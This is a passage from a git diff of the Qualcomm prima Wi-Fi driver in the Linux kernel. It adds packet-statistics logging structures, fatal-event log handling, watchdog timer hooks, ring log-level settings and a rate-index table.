event_id; + uint8_t tx_rx; + uint8_t type; + uint8_t action_sub_type; + uint8_t peer_mac[6]; +}; + + +/*------------------------------------------------------------------------- + Event ID: EVENT_WLAN_LOG_COMPLETE + ------------------------------------------------------------------------*/ +/** + * struct vos_event_wlan_log_complete - Holds log completion details + * @is_fatal: Indicates if the event is fatal or not + * @indicator: Source of the bug report - Framework/Host/Firmware + * @reason_code: Reason for triggering bug report + * @reserved: Reserved field + * + * This structure holds the log completion related information + */ +struct vos_event_wlan_log_complete { + uint32_t is_fatal; + uint32_t indicator; + uint32_t reason_code; + uint32_t reserved; +}; /*------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_log.h b/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_log.h index 9a95c4a274074..adf6b2f1d3426 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_log.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_diag_core_log.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2014-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -65,6 +65,88 @@ extern "C" { #define VOS_LOG_MAX_NUM_HO_CANDIDATE_APS 20 #define VOS_LOG_MAX_WOW_PTRN_SIZE 128 #define VOS_LOG_MAX_WOW_PTRN_MASK_SIZE 16 +/* Version to be updated whenever format of vos_log_pktlog_info changes */ +#define VERSION_LOG_WLAN_PKT_LOG_INFO_C 1 + +enum { + PKTLOG_FLG_FRM_TYPE_LOCAL_S = 0, + PKTLOG_FLG_FRM_TYPE_REMOTE_S, + PKTLOG_FLG_FRM_TYPE_UNKNOWN_S +}; + +/* Format of the packet stats event*/ +typedef struct { + v_U16_t flags; + v_U16_t missed_cnt; + v_U16_t log_type; + v_U16_t size; + v_U32_t timestamp; +}__attribute__((packed))pkt_stats_hdr ; + +/* Per packet data info */ +#define PER_PACKET_ENTRY_FLAGS_DIRECTION_TX 1 // 0: TX, 1: RX +#define PER_PACKET_ENTRY_FLAGS_TX_SUCCESS 2 // whether packet was transmitted or + // received/decrypted successfully +#define PER_PACKET_ENTRY_FLAGS_80211_HEADER 4 // has full 802.11 header, else has 802.3 header +#define PER_PACKET_ENTRY_FLAGS_PROTECTED 8 // whether packet was encrypted +#define STATS_MAX_RATE_INDEX 136 + + +enum { + S_BW20, + S_BW40, + S_BW80, + S_BW160 +}; +enum { + PREAMBLE_CCK, + PREAMBLE_OFDM, + PREAMBLE_HT, + PREAMBLE_VHT +}; + +typedef struct{ + v_U16_t rate; + v_U16_t preamble; + v_U8_t bw; + v_U8_t short_gi; +}rateidx_to_rate_bw_preamble_sgi; + + +typedef struct { + v_U16_t rate : 4; + v_U16_t nss : 2; + v_U16_t preamble : 2; + v_U16_t bw : 2; + v_U16_t short_gi : 1; + v_U16_t reserved : 5; +} mcs_stats; + +typedef struct { + v_U8_t flags; + v_U8_t tid; // transmit or received tid + mcs_stats MCS; // modulation and bandwidth + v_S7_t rssi; // TX: RSSI of ACK for that packet + // RX: RSSI of packet + v_U8_t num_retries; // number of attempted retries + v_U16_t last_transmit_rate; // last transmit rate in .5 mbps + v_U16_t link_layer_transmit_sequence; // receive sequence for that MPDU packet + v_U64_t dxe_timestamp; // DXE timestamp + v_U64_t start_contention_timestamp; // 0 Not supported + v_U64_t transmit_success_timestamp; // 0 Not Supported + /* Whole frame for management/EAPOl/DHCP frames and 802.11 + LLC + * header + 40 bytes or full frame whichever is smaller for + * remaining Data packets + */ + v_U8_t data[MAX_PKT_STAT_DATA_LEN]; +} __attribute__((packed)) per_packet_stats; + +typedef struct +{ + pkt_stats_hdr ps_hdr; + per_packet_stats stats; +}tx_rx_pkt_stats; + /*--------------------------------------------------------------------------- This packet contains the scan results of the recent scan operation @@ -367,6 +449,23 @@ typedef struct v_S7_t rssi; } vos_log_rssi_pkt_type; +/** + * struct vos_log_pktlog_info - Packet log info + * @log_hdr: Log header + * @buf_len: Length of the buffer that follows + * @buf: Buffer containing the packet log info + * + * Structure containing the packet log information + * LOG_WLAN_PKT_LOG_INFO_C 0x18E0 + */ +typedef struct +{ + log_hdr_type log_hdr; + uint32_t version; + uint32_t seq_no; + uint32_t buf_len; +}__attribute__((packed))vos_log_pktlog_info; + /*------------------------------------------------------------------------- Function declarations and documenation ------------------------------------------------------------------------*/ diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_memory.h b/drivers/staging/prima/CORE/VOSS/inc/vos_memory.h index c6de77e1e898c..fd064c6f5957c 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_memory.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_memory.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -144,7 +144,15 @@ v_VOID_t vos_mem_set( v_VOID_t *ptr, v_SIZE_t numBytes, v_BYTE_t value ); --------------------------------------------------------------------------*/ v_VOID_t vos_mem_zero( v_VOID_t *ptr, v_SIZE_t numBytes ); +static __inline__ unsigned long vos_htonl(unsigned long ul) +{ + return( ( ( ul & 0x000000ff ) << 24 ) | + ( ( ul & 0x0000ff00 ) << 8 ) | + ( ( ul & 0x00ff0000 ) >> 8 ) | + ( ( ul & 0xff000000 ) >> 24 ) ); +} +void vos_buff_to_hl_buff (v_U8_t *buffer, int size); /*---------------------------------------------------------------------------- \brief vos_mem_copy() - Copy memory diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_timer.h b/drivers/staging/prima/CORE/VOSS/inc/vos_timer.h index 67a0d6b8c060f..70a0977216923 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_timer.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_timer.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2016 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -343,4 +343,7 @@ v_TIME_t vos_timer_get_system_time( v_VOID_t ); v_BOOL_t vos_timer_is_initialized(vos_timer_t *timer); +void vos_process_wd_timer(void); +void vos_wdthread_init_timer_work(void *callbackptr); +void vos_wdthread_flush_timer_work(void); #endif // #if !defined __VOSS_TIMER_H diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_trace.h b/drivers/staging/prima/CORE/VOSS/inc/vos_trace.h index a0c32f79ac764..a0d10696c9673 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_trace.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_trace.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -81,22 +81,14 @@ typedef enum } VOS_TRACE_LEVEL; -enum { - LOG_PKT_TYPE_DATA_MGMT = 0x1, - LOG_PKT_TYPE_FW_LOG = 0x2 -}; - - - /* Log types. These types are defined in mailbox*/ typedef enum { WLAN_MGMT_FRAME_LOGS = 0, - WLAN_QXDM_LOGGING = 1, + WLAN_FW_LOGS = 1, WLAN_FW_MEMORY_DUMP = 2 }FrameLoggingType; - /*-------------------------------------------------------------------------- Preprocessor definitions and constants ------------------------------------------------------------------------*/ @@ -121,6 +113,7 @@ typedef enum #else #define MTRACE(p) { } +#define CASE_RETURN_STRING( str ) { } #endif @@ -199,10 +192,16 @@ void vos_trace_setLevel( VOS_MODULE_ID module, VOS_TRACE_LEVEL level ); v_BOOL_t vos_trace_getLevel( VOS_MODULE_ID module, VOS_TRACE_LEVEL level ); typedef void (*tpvosTraceCb) (void *pMac, tpvosTraceRecord, v_U16_t); +typedef void (*tp_vos_state_info_cb) (void); + void vos_trace(v_U8_t module, v_U8_t code, v_U8_t session, v_U32_t data); void vosTraceRegister(VOS_MODULE_ID, tpvosTraceCb); +void vos_register_debug_callback(VOS_MODULE_ID moduleID, + tp_vos_state_info_cb vosStateInfoCb); VOS_STATUS vos_trace_spin_lock_init(void); void vosTraceInit(void); +void vos_register_debugcb_init(void); void vosTraceEnable(v_U32_t, v_U8_t enable); void vosTraceDumpAll(void*, v_U8_t, v_U8_t, v_U32_t, v_U32_t); +void vos_state_info_dump_all(void); #endif diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_types.h b/drivers/staging/prima/CORE/VOSS/inc/vos_types.h index 20002e9f26eae..70387494ad413 100755 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_types.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_types.h @@ -66,6 +66,9 @@ (( ( ( (_x) << 24 ) & 0xFF000000 ) | ( ( (_x) >> 24 ) & 0x000000FF ) ) | \ ( ( ( (_x) << 8 ) & 0x00FF0000 ) | ( ( (_x) >> 8 ) & 0x0000FF00 ) )) +/* Length enough to include full DHCP/EAPOL/Management frame */ +#define MAX_PKT_STAT_DATA_LEN 800 + // Endian operations for Big Endian and Small Endian modes #ifdef ANI_LITTLE_BYTE_ENDIAN diff --git a/drivers/staging/prima/CORE/VOSS/inc/vos_utils.h b/drivers/staging/prima/CORE/VOSS/inc/vos_utils.h index 57553363c68e7..59ce11261cc4d 100644 --- a/drivers/staging/prima/CORE/VOSS/inc/vos_utils.h +++ b/drivers/staging/prima/CORE/VOSS/inc/vos_utils.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -59,6 +59,14 @@ #define VOS_BAND_5GHZ 2 #define VOS_24_GHZ_CHANNEL_14 14 + + +/* Type of packet log events. + */ +#define PKTLOG_TYPE_PKT_STAT 9 + + + /*-------------------------------------------------------------------------- Type declarations ------------------------------------------------------------------------*/ @@ -165,6 +173,29 @@ v_U8_t vos_chan_to_band(v_U32_t chan); void vos_get_wlan_unsafe_channel(v_U16_t *unsafeChannelList, v_U16_t buffer_size, v_U16_t *unsafeChannelCount); +typedef struct { + v_BOOL_t is_rx; + v_U8_t tid; // transmit or received tid + v_U8_t num_retries; // number of attempted retries + v_U8_t rssi; // TX: RSSI of ACK for that packet + // RX: RSSI of packet + v_U32_t rate_idx; // last transmit rate in .5 mbps + v_U16_t seq_num; // receive sequence for that MPDU packet + v_U64_t dxe_timestamp; // DXE timestamp + v_U32_t data_len; + /* Whole frame for management/EAPOl/DHCP frames and 802.11 + LLC + * header + 40 bytes or full frame whichever is smaller for + * remaining Data packets + */ + v_U8_t data[MAX_PKT_STAT_DATA_LEN]; +} tPerPacketStats; + +typedef struct { + v_U32_t lastTxRate; // 802.11 data rate at which the last data frame is transmitted. + v_U32_t txAvgRetry; // Average number of retries per 10 packets. + v_S7_t avgRssi; // Average of the Beacon RSSI. +} tPerTxPacketFrmFw; + #define ROAM_DELAY_TABLE_SIZE 10 enum e_roaming_event @@ -293,4 +324,21 @@ v_BOOL_t vos_roam_delay_stats_deinit(void); void vos_reset_roam_timer_log(void); void vos_dump_roam_time_log_service(void); void vos_record_roam_event(enum e_roaming_event, void *pBuff, v_ULONG_t buff_len); +v_U32_t vos_copy_80211_data(void *pBuff, v_U8_t *dst, v_U8_t frametype); +extern v_U8_t vos_get_ring_log_level(v_U32_t ring_id); +bool vos_isPktStatsEnabled(void); + +#ifdef FEATURE_WLAN_DIAG_SUPPORT +void vos_tdls_tx_rx_mgmt_event(uint8_t event_id, uint8_t tx_rx, + uint8_t type, uint8_t sub_type, uint8_t *peer_mac); +#else +static inline +void vos_tdls_tx_rx_mgmt_event(uint8_t event_id, uint8_t tx_rx, + uint8_t type, uint8_t sub_type, uint8_t *peer_mac) + +{ + return; +} +#endif /* FEATURE_WLAN_DIAG_SUPPORT */ + #endif // #if !defined __VOSS_UTILS_H diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_api.c b/drivers/staging/prima/CORE/VOSS/src/vos_api.c index bdd075d0e59f1..d46888eea0a25 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_api.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_api.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -69,6 +69,7 @@ #include "wlan_hdd_main.h" #include #include "wlan_hdd_cfg80211.h" +#include "vos_diag_core_log.h" #include @@ -167,6 +168,7 @@ VOS_STATUS vos_preOpen ( v_CONTEXT_t *pVosContext ) #if defined(TRACE_RECORD) vosTraceInit(); #endif + vos_register_debugcb_init(); return VOS_STATUS_SUCCESS; @@ -267,6 +269,7 @@ VOS_STATUS vos_open( v_CONTEXT_t *pVosContext, void *devHandle ) /* Initialize the timer module */ vos_timer_module_init(); + vos_wdthread_init_timer_work(vos_process_wd_timer); /* Initialize the probe event */ if (vos_event_init(&gpVosContext->ProbeEvent) != VOS_STATUS_SUCCESS) @@ -813,6 +816,7 @@ VOS_STATUS vos_start( v_CONTEXT_t vosContext ) tSirRetStatus sirStatus = eSIR_SUCCESS; pVosContextType pVosContext = (pVosContextType)vosContext; tHalMacStartParameters halStartParams; + hdd_context_t *pHddCtx = NULL; VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, "%s: Starting Libra SW", __func__); @@ -903,6 +907,16 @@ VOS_STATUS vos_start( v_CONTEXT_t vosContext ) VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, "%s: WDA correctly started", __func__); + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, pVosContext ); + if (!pHddCtx) + { + VOS_TRACE( VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + "%s: HDD context is null", __func__); + goto err_wda_stop; + } + + pHddCtx->wifi_turn_on_time_since_boot = vos_get_monotonic_boottime(); + /* Start the MAC */ vos_mem_zero((v_PVOID_t)&halStartParams, sizeof(tHalMacStartParameters)); @@ -1196,6 +1210,8 @@ VOS_STATUS vos_close( v_CONTEXT_t vosContext ) "%s: Could not deinit roamDelayStats", __func__); } + vos_wdthread_flush_timer_work(); + return VOS_STATUS_SUCCESS; } @@ -1689,11 +1705,12 @@ int vos_set_log_completion(uint32 is_fatal, indicator,reason_code); } -void vos_get_log_completion(uint32 *is_fatal, +void vos_get_log_and_reset_completion(uint32 *is_fatal, uint32 *indicator, - uint32 *reason_code) + uint32 *reason_code, + bool reset) { - wlan_get_log_completion(is_fatal, indicator, reason_code); + wlan_get_log_and_reset_completion(is_fatal, indicator, reason_code, reset); } @@ -1719,17 +1736,57 @@ void vos_send_fatal_event_done(void) return; } /*The below API will reset is_report_in_progress flag*/ - vos_get_log_completion(&is_fatal, &indicator, &reason_code); + vos_get_log_and_reset_completion(&is_fatal, &indicator, + &reason_code, true); VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, - "%s: is_fatal : %d, indicator: %d, reason_code=%d", - __func__, is_fatal, indicator, reason_code); + "is_fatal : %d, indicator: %d, reason_code=%d", + is_fatal, indicator, reason_code); + wlan_report_log_completion(is_fatal, indicator, reason_code); + + /* Do ssr after reporting fatal event to recover from + * below conditions + */ + if ((WLAN_LOG_INDICATOR_HOST_DRIVER == indicator) && + (WLAN_LOG_REASON_SME_COMMAND_STUCK == reason_code || + WLAN_LOG_REASON_SME_OUT_OF_CMD_BUF == reason_code || + WLAN_LOG_REASON_SCAN_NOT_ALLOWED == reason_code)) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + "Do SSR for reason_code=%d", reason_code); + vos_wlanRestart(); + } } +/** + * vos_isFatalEventEnabled() + * + * Return TRUE if Fatal event is enabled is in progress. + * + */ +v_BOOL_t vos_isFatalEventEnabled(void) +{ + hdd_context_t *pHddCtx = NULL; + v_CONTEXT_t pVosContext = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + + if(!pVosContext) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: Global VOS context is Null", __func__); + return FALSE; + } + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, pVosContext ); + if(!pHddCtx) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: HDD context is Null", __func__); + return FALSE; + } + + return pHddCtx->cfg_ini->enableFatalEvent; +} /**--------------------------------------------------------------------------- - \brief vos_fatal_event_logs_req() - used to send flush command to FW + \brief __vos_fatal_event_logs_req() - used to send flush command to FW This API is wrapper to SME flush API. @@ -1740,23 +1797,52 @@ void vos_send_fatal_event_done(void) \return VOS_STATUS_SUCCESS - if command is sent successfully. VOS_STATUS_E_FAILURE - if command is not sent successfully. --------------------------------------------------------------------------*/ -VOS_STATUS vos_fatal_event_logs_req( uint32_t is_fatal, +VOS_STATUS __vos_fatal_event_logs_req( uint32_t is_fatal, uint32_t indicator, uint32_t reason_code, - bool waitRequired) + bool wait_required, + bool dump_vos_trace) { VOS_STATUS vosStatus; eHalStatus status; VosContextType *vos_context; + hdd_context_t *pHddCtx = NULL; vos_context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); if (!vos_context) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: vos context is Invalid", __func__); - return eHAL_STATUS_FAILURE; + return VOS_STATUS_E_FAILURE; + } + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, vos_context ); + if(!pHddCtx) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: HDD context is Null", __func__); + return VOS_STATUS_E_FAILURE; } + if(!pHddCtx->cfg_ini->wlanLoggingEnable) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + "%s: Wlan logging not enabled", __func__); + return VOS_STATUS_E_FAILURE; + } + + if(!pHddCtx->cfg_ini->enableFatalEvent) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + "%s: Fatal event not enabled", __func__); + return VOS_STATUS_E_FAILURE; + } + + if (pHddCtx->isLoadUnloadInProgress || + vos_context->isLogpInProgress) + { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + "%s: un/Load/SSR in progress", __func__); + return VOS_STATUS_E_FAILURE; + } if (vos_is_log_report_in_progress() == true) { @@ -1772,16 +1858,22 @@ VOS_STATUS vos_fatal_event_logs_req( uint32_t is_fatal, "%s: Failed to set log trigger params for fatalEvent", __func__); return VOS_STATUS_E_FAILURE; } - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: Triggering fatal Event: type:%d, indicator=%d reason_code=%d", __func__, is_fatal, indicator, reason_code); - vos_event_reset(&gpVosContext->fwLogsComplete); + status = vos_event_reset(&gpVosContext->fwLogsComplete); + if(!HAL_STATUS_SUCCESS(status)) + { + VOS_TRACE( VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + FL("fwLogsComplete reset failed:%d"),status); + return VOS_STATUS_E_FAILURE; + } status = sme_fatal_event_logs_req(vos_context->pMACContext, is_fatal, indicator, - reason_code); + reason_code, dump_vos_trace); - if (HAL_STATUS_SUCCESS(status) && (waitRequired == TRUE)) + if (HAL_STATUS_SUCCESS(status) && (wait_required == TRUE)) { /* Need to update time out of complete */ @@ -1810,6 +1902,22 @@ VOS_STATUS vos_fatal_event_logs_req( uint32_t is_fatal, return VOS_STATUS_E_FAILURE; } +VOS_STATUS vos_fatal_event_logs_req( uint32_t is_fatal, + uint32_t indicator, + uint32_t reason_code, + bool wait_required, + bool dump_vos_trace) +{ + VOS_STATUS status; + + vos_ssr_protect(__func__); + status = __vos_fatal_event_logs_req(is_fatal, indicator, reason_code, + wait_required, dump_vos_trace); + vos_ssr_unprotect(__func__); + + return status; +} + /**--------------------------------------------------------------------------- \brief vos_process_done_indication() - Process the done indication for fatal event, @@ -1831,6 +1939,17 @@ VOS_STATUS vos_process_done_indication(v_U8_t type, v_U32_t reason_code) return VOS_STATUS_SUCCESS; } +/** + * vos_flush_host_logs_for_fatal() -flush host logs and send + * fatal event to upper layer. + */ +void vos_flush_host_logs_for_fatal(void) +{ + wlan_flush_host_logs_for_fatal(); + return; +} + + /**--------------------------------------------------------------------------- \brief vos_logger_pkt_serialize() - queue a logging vos pkt @@ -1840,7 +1959,6 @@ VOS_STATUS vos_process_done_indication(v_U8_t type, v_U32_t reason_code) \param pPacket - a pointer to a vos pkt to be queued pkt_type - type of pkt to be queued - LOG_PKT_TYPE_DATA_MGMT - frame log i.e data/mgmt pkts \return VOS_STATUS_SUCCESS - the pkt has been successfully queued. VOS_STATUS_E_FAILURE - the pkt queue handler has reported @@ -1855,6 +1973,29 @@ VOS_STATUS vos_logger_pkt_serialize( vos_pkt_t *pPacket, uint32 pkt_type) #endif } +void vos_per_pkt_stats_to_user(void *perPktStat) +{ +#ifdef WLAN_LOGGING_SOCK_SVC_ENABLE + wlan_pkt_stats_to_user(perPktStat); +#else + return; +#endif + + + +} + +void vos_updatePktStatsInfo(void * pktStat) +{ +#ifdef WLAN_LOGGING_SOCK_SVC_ENABLE + wlan_fillTxStruct(pktStat); +#else + return; +#endif + +} + + /**--------------------------------------------------------------------------- \brief vos_mq_post_message() - post a message to a message queue @@ -1975,7 +2116,14 @@ VOS_STATUS vos_mq_post_message( VOS_MQ_ID msgQueueId, vos_msg_t *pMsg ) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: VOS Core run out of message wrapper", __func__); - + if (!gpVosContext->vosWrapperFullReported) + { + gpVosContext->vosWrapperFullReported = 1; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_VOS_MSG_UNDER_RUN, + FALSE, TRUE); + } return VOS_STATUS_E_RESOURCES; } @@ -2112,6 +2260,14 @@ VOS_STATUS vos_mq_post_message_high_pri(VOS_MQ_ID msgQueueId, vos_msg_t *pMsg) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: VOS Core run out of message wrapper", __func__); + if (!gpVosContext->vosWrapperFullReported) + { + gpVosContext->vosWrapperFullReported = 1; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_VOS_MSG_UNDER_RUN, + FALSE, TRUE); + } return VOS_STATUS_E_RESOURCES; } @@ -2230,6 +2386,14 @@ VOS_STATUS vos_tx_mq_serialize( VOS_MQ_ID msgQueueId, vos_msg_t *pMsg ) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, "%s: VOS Core run out of message wrapper", __func__); + if (!gpVosContext->vosWrapperFullReported) + { + gpVosContext->vosWrapperFullReported = 1; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_VOS_MSG_UNDER_RUN, + FALSE, TRUE); + } return VOS_STATUS_E_RESOURCES; } @@ -2345,6 +2509,14 @@ VOS_STATUS vos_rx_mq_serialize( VOS_MQ_ID msgQueueId, vos_msg_t *pMsg ) { VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: VOS Core run out of message wrapper", __func__); + if (!gpVosContext->vosWrapperFullReported) + { + gpVosContext->vosWrapperFullReported = 1; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_VOS_MSG_UNDER_RUN, + FALSE, TRUE); + } return VOS_STATUS_E_RESOURCES; } @@ -3040,6 +3212,61 @@ v_BOOL_t vos_isUnloadInProgress(void) return (WLAN_HDD_UNLOAD_IN_PROGRESS == pHddCtx->isLoadUnloadInProgress); } +/** + *vos_get_rx_wow_dump() + * + * Return true/flase to dump RX packet + * + */ +bool vos_get_rx_wow_dump(void) +{ + hdd_context_t *pHddCtx = NULL; + v_CONTEXT_t pVosContext = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + + if(!pVosContext) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: Global VOS context is Null", __func__); + return FALSE; + } + + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, pVosContext ); + if(!pHddCtx) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: HDD context is Null", __func__); + return FALSE; + } + + return pHddCtx->rx_wow_dump; +} + +/** + *vos_set_rx_wow_dump() - Set RX wow pkt dump + *@value: Value of RX wow pkt dump + * + * Return none. + * + */ +void vos_set_rx_wow_dump(bool value) +{ + hdd_context_t *pHddCtx = NULL; + v_CONTEXT_t pVosContext = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + + if(!pVosContext) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: Global VOS context is Null", __func__); + return; + } + + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, pVosContext ); + if(!pHddCtx) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_FATAL, + "%s: HDD context is Null", __func__); + return; + } + + pHddCtx->rx_wow_dump = value; +} + /** * vos_probe_threads() - VOS API to post messages * to all the threads to detect if they are active or not @@ -3074,3 +3301,314 @@ void vos_probe_threads(void) } } +/** + * vos_set_ring_log_level() - Convert HLOS values to driver log levels + * @ring_id: ring_id + * @log_levelvalue: Log level specificed + * + * This function sets the log level of a particular ring + * + * Return: None + */ + void vos_set_ring_log_level(v_U32_t ring_id, v_U32_t log_level) +{ + VosContextType *vos_context; + v_U32_t log_val; + + vos_context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_context) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: vos context is Invald", __func__); + return; + } + + switch (log_level) { + case LOG_LEVEL_NO_COLLECTION: + log_val = WLAN_LOG_LEVEL_OFF; + break; + case LOG_LEVEL_NORMAL_COLLECT: + log_val = WLAN_LOG_LEVEL_NORMAL; + break; + case LOG_LEVEL_ISSUE_REPRO: + log_val = WLAN_LOG_LEVEL_REPRO; + break; + case LOG_LEVEL_ACTIVE: + default: + log_val = WLAN_LOG_LEVEL_ACTIVE; + break; + } + + if (ring_id == RING_ID_WAKELOCK) { + vos_context->wakelock_log_level = log_val; + return; + } else if (ring_id == RING_ID_CONNECTIVITY) { + vos_context->connectivity_log_level = log_val; + return; + } else if (ring_id == RING_ID_PER_PACKET_STATS) { + vos_context->packet_stats_log_level = log_val; + if (WLAN_LOG_LEVEL_ACTIVE != log_val) + wlan_disable_and_flush_pkt_stats(); + + return; + } +} +/** + * vos_get_ring_log_level() - Get the a ring id's log level + * @ring_id: Ring id + * + * Fetch and return the log level corresponding to a ring id + * + * Return: Log level corresponding to the ring ID + */ +v_U8_t vos_get_ring_log_level(v_U32_t ring_id) +{ + VosContextType *vos_context; + + vos_context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_context) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: vos context is Invald", __func__); + return WLAN_LOG_LEVEL_OFF; + } + + if (ring_id == RING_ID_WAKELOCK) + return vos_context->wakelock_log_level; + else if (ring_id == RING_ID_CONNECTIVITY) + return vos_context->connectivity_log_level; + else if (ring_id == RING_ID_PER_PACKET_STATS) + return vos_context->packet_stats_log_level; + + return WLAN_LOG_LEVEL_OFF; +} + +/* elements are rate, preamable, bw, short_gi */ +rateidx_to_rate_bw_preamble_sgi rateidx_to_rate_bw_preamble_sgi_table[] = +{ +/*11B CCK Long preamble (0-3)*/ +{ 10, PREAMBLE_CCK, S_BW20, 0},{ 20, PREAMBLE_CCK, S_BW20, 0}, +{ 55, PREAMBLE_CCK, S_BW20, 0},{ 110, PREAMBLE_CCK, S_BW20, 0}, +/*11B CCK Short preamble (4-7)*/ +{ 10, PREAMBLE_CCK, S_BW20, 0},{ 20, PREAMBLE_CCK, S_BW20, 0}, +{ 55, PREAMBLE_CCK, S_BW20, 0},{ 110, PREAMBLE_CCK, S_BW20, 0}, +/*11G/A (8-15)*/ +{ 60, PREAMBLE_OFDM, S_BW20, 0},{ 90, PREAMBLE_OFDM, S_BW20, 0}, +{ 120, PREAMBLE_OFDM, S_BW20, 0},{ 180, PREAMBLE_OFDM, S_BW20, 0}, +{ 240, PREAMBLE_OFDM, S_BW20, 0},{ 360, PREAMBLE_OFDM, S_BW20, 0}, +{ 480, PREAMBLE_OFDM, S_BW20, 0},{ 540, PREAMBLE_OFDM, S_BW20, 0}, +/*HT20 LGI MCS 0-7 (16-23)*/ +{ 65, PREAMBLE_HT, S_BW20, 0},{ 130, PREAMBLE_HT, S_BW20, 0}, +{ 195, PREAMBLE_HT, S_BW20, 0},{ 260, PREAMBLE_HT, S_BW20, 0}, +{ 390, PREAMBLE_HT, S_BW20, 0},{ 520, PREAMBLE_HT, S_BW20, 0}, +{ 585, PREAMBLE_HT, S_BW20, 0},{ 650, PREAMBLE_HT, S_BW20, 0}, 